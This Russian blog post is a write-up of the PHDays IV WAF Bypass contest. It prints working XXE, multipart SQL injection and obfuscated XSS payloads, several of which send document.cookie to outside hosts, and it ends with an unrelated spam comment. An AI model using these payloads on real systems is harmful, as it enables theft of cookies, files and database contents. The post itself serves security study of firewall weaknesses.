Страницы

четверг, 10 июля 2014 г.

Разбор заданий конкурса WAF Bypass на PHDays IV

В этом году на Positive Hack Days проходил конкурс WAF Bypass, участники которого могли попробовать свои силы в обходе PT Application Firewall. Для нас проведение такого конкурса было отличным шансом проверить продукт в бою, ведь на конференции собрались лучшие специалисты в области информационной безопасности.

Для конкурса мы подготовили набор заданий. Каждое представляло собой сценарий с типовой уязвимостью: с ее помощью нужно было добыть флаг. Все задания имели решение, но решения не всегда были очевидными. Участникам был доступен отчет о сканировании исходных кодов заданий с помощью другого продукта нашей компании — Application Inspector. В этом посте мы расскажем о заданиях, обходах и полученном опыте.


1. XXE

Первое задание состояло из XMLRPC-сервера на PHP, уязвимого к XML External Entities Injection. Уязвимость глазами Application Inspector:


Задание было разминочным, и Application Firewall был настроен на блокировку только простых XXE:

<!DOCTYPE input [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><input>&xxe;</input>

Получить флаг можно было с помощью, например, parameter entities:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "flag" >
%xxe;
]>
<body>
<method a='a'>test</method>
</body>

Или через DOCTYPE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE body SYSTEM "flag">
<body><method>test</method></body>

2. SQL Injection

Целью этого задания было получение флага из базы данных с помощью SQL Injection. Большинство участников пытались обойти фильтр вместо того, чтобы обратить внимание на хинт: требовалось обнаружить ошибку в конфигурации WAF, а именно неправильную нормализацию данных. Одна из самых серьезных проблем современных WAF это нормализация входящих данных в HTTP-запросах, ошибки которой могут привести к обходу на уровне протокола. Как отмечал Штефан Эссер в своей презентации Shocking News in PHP Exploitation еще в 2009 году, разработчики WAF пытаются создать один HTTP-парсер для всех существующих реализаций, что очевидно невозможно. Подход, реализованный в PT Application Firewall, — нормализация с учетом особенностей бекэнда. Для задания нормализация была отключена, что позволяло провести следующий обход:

POST /news.php HTTP/1.1
Host: task2.waf-bypass.phdays.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=------,xxxx
Content-Length: 191

------,xxxx
Content-Disposition: form-data; name="img"; filename="img.gif"

GIF89a
------
Content-Disposition: form-data; name="id"

1' union select null,null,flag,null from flag limit 1 offset 1-- -
--------
------,xxxx--

В PHP имеется свой уникальный парсер multipart-данных, который в качестве boundary берет значение до запятой в заголовке Content-Type. Нормальные парсеры берут полное значение. Поэтому без нормализации WAF будет считать, что в запросе файл, который не будет проверяться фильтром. А вот PHP «увидит» в этом запросе параметр id с полезной нагрузкой.

3. httpOnly

Это задание и все последующие ориентированы на client-side-уязвимости. Для конкурса мы сделали бота на Selenium, для которого выставлялись cookie с флагом; цель задания — украсть эти cookie.

httpOnly — флаг cookie, который запрещает доступ к ее значению с помощью JavaScript (отсюда и название).

Код уязвимого сценария:

<h4>httpOnly bypass</h4>
<p>In this task you need to bypass httpOnly and steal bot cookies using
<a href="http://waf-bypass.phdays.com/#bot">http://waf-bypass.phdays.com/#bot</a>.
All XSS checks are disabled, but there is an intentional bug, try to find it!</p>

<?php

if(!isset($_GET['name'])) die("<p>Please provide name</p>");

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
  setcookie('flag', $_GET['name'] . '-' . file_get_contents('./flag'));
} else {
  setcookie('flag', $_GET['name'] . '-' . md5(mt_rand()));
}

echo '<p>' . $_GET['name'] . '</p>';

?>

Здесь можно отметить два момента: пользовательское значение попадает в значение cookie, входящие данные выводятся как есть. Очевидно, что бот, перейдя по ссылке с XSS, не отправит свои cookie из-за httpOnly, который выставляет Application Firewall. Чтобы обойти защиту, необходимо было указать в значении cookie строку httpOnly, тогда WAF посчитал бы, что флаг уже выставлен и добавлять свой не надо:

httponly.php?name=<script>document.location.href='http://sniffer.com?'%2bdocument.cookie</script>;HttpOnly

4. Anomaly

В этом задании участникам предлагалось проверить механизм выявления аномалий, использующий алгоритмы машинного обучения, которые лежат в основе PT Application Firewall. Была подготовлена модель данных, которую переобучили (overfit) на разнородных значениях. Суть обхода заключалась в том, чтобы составить такую строку, которая удовлетворяла параметрам обученной статистической модели. В данном задании также имелась уязвимость Cross Site Scripting, однако httpOnly не выставлялся. Обойти даже ослабленную нами статистическую модель удалось лишь двум участникам:

aaaaaaaaaaaa  ... [snip] ... aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaav%3Cvideo+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa+src=//secsem.ru+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa+onerror=src%2b=document.cookie+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/%3E

Стоит отметить, что для «разбавления» спецсимволов, на которые реагировал WAF, использовалось обращение к значению атрибута тэга из другого атрибута, расположенного достаточно далеко, чтобы строка не выходила за порог.

5. RegEx

Задача участников этого задания — обойти фильтр, использующий регулярные выражения, и украсть cookie бота. Неотъемлемая часть любого традиционного WAF — это сигнатуры на основе регулярных выражений. Мы еще раз убедились, что хороший WAF не должен полагаться только на «регулярки». Вот некоторые из обходов:

<img src = http://dsec.ru/bitrix/templates/dsec/img/logo.png onload = \"\\u0064\\u006F\\u0063\\u0075\\u006D\\u0065\\u006E\\u0074.write('<im\\u0067 src = http://sergeybelove.ru?ccc='%2b\\u0064\\u006F\\u0063\\u0075\\u006D\\u0065\\u006E\\u0074.cooki\\u0065%2b'>')\">

1%3Cvideo%20%20src%3dx%20onerror%3d%0Asrc='ht'%2b'tp:'%2b'//'+d\\u006fcument['\\x63ookie']%3E%3C/video%3E

<svg onload=\"var xStuff=HTMLElement['con'%2b'structor'],yStuff=xStuff('var img=new'%2b' Ima'%2b'ge('%2b') ;im'%2b'g.sr'%2b'c=\\'http:/'%2b'/labs.tom.vg/cookie=\\'%2bdoc'%2b'ument.coo'%2b'kie;doc'%2b'ument.doc'%2b'umentEl'%2b'ement.appe'%2b'ndCh'%2b'ild'%2b'('%2b'img) ;'),zStuff=yStuff()\">

6. Sanitize

В заключительном задании предлагалось реализовать XSS, обойдя защиту, суть которой состояла в кодировании отраженных в ответе входящих значений в HTML-сущности.

GET /sanitize.php?name=<script>alert(1)</script> HTTP/1.0

->

HTTP/1.0 200 OK
...
Hello, &lt;script&gt;alert(1)&lt;/script&gt;!

Казалось бы, защита железная; но обход все же был. Чтобы найти значение, поступающее от пользователя, производится поиск по всему телу HTTP-ответа, который может включать и другие HTML-тэги. Обход состоял в том, чтобы заставить WAF заэкранировать уже присутствующие в ответе тэги, что позволило бы избежать фильтрации целевого payload.

Результаты

Победителями стала команда из МГУ — Георгий Носеевич, Андрей Петухов и Александр Раздобаров. Решили все задания! Второе место досталось Ивану Новикову (d0znpp), а третье — докладчику из Бельгии, Тому Ван Гутему. Победители получили ценные призы: Apple iPad Air, Sony Xperia Z2 и годовую лицензию на Burp Suite Pro соответственно.


Немного статистики: за два дня проведения конкурса было заблокировано 122644 запроса, зарегистрировался 101 участник, лишь 11 смогли добыть хотя бы один флаг.

Динамика первого дня


Динамика второго дня


Статистика по атакам


Статистика по задниям


А еще для конкурса мы сделали классную визуализацию с помощью logstalgia.



На этом все!

Арсений Реутов, Дмитрий Нагибин и PT Application Firewall Team

1 комментарий:

  1. Thanks for sharing, nice post!

    Chia sẻ các mẹ hiện tượng trẻ sơ sinh bụng căng cứng thì phải làm sao hay trẻ 4 tháng tuổi thì sao thì bé 4 tháng tuổi cân nặng bao nhiêu là vừa hay men tiêu hóa dùng cho bà bầu hay enterogermina có dùng cho trẻ sơ sinh hay nhiễm trùng rốn trẻ sơ sinh có sao không với hiện tượng rốn trẻ sơ sinh chảy nước vàng hay trẻ sơ sinh vặn mình có sao không với trẻ sơ sinh vặn mình bị lồi rốn trị giun cho bé như thế nào hay cách chữa giun kim ở trẻ em hiệu quả tại nhà cực đơn giản, trẻ 4 tháng tuổi phát triển như thế nào hay trẻ 4 tháng ăn được hoa quả gì hay trẻ sơ sinh thở mạnh gấp thì sao với bài trẻ sơ sinh thở nhanh và mạnh hay món cháo ếch bổ dưỡng cho bé thì bài chao ech nau voi rau gi hay trẻ sơ sinh bị sôi bụng thì xử lý trẻ sơ sinh sôi bụng đi ngoài phải làm sao, việc trẻ bị sốt phát ban với triệu chứng trẻ bị phát ban nhưng không sốt thì có sao không hay cháo óc heo rất bổ dưỡng cho bé thì cháo óc heo nấu với rau gì thì ngon thơm ngon cho con hay cháo óc heo nấu với gì thì ngon và cách nấu cháo lươn ngon cho bé hay có nên cho trẻ sơ sinh nghe nhạc hay không trẻ sơ sinh nghe nhạc được không giấc ngủ rất quan trọng với trẻ sơ sinh và trẻ sơ sinh ngủ bao nhiêu tiếng giúp trẻ ngủ ngon bằng cách hát ru cho bé ngủ và trẻ sơ sinh sôi bụng thì làm sao.

    ОтветитьУдалить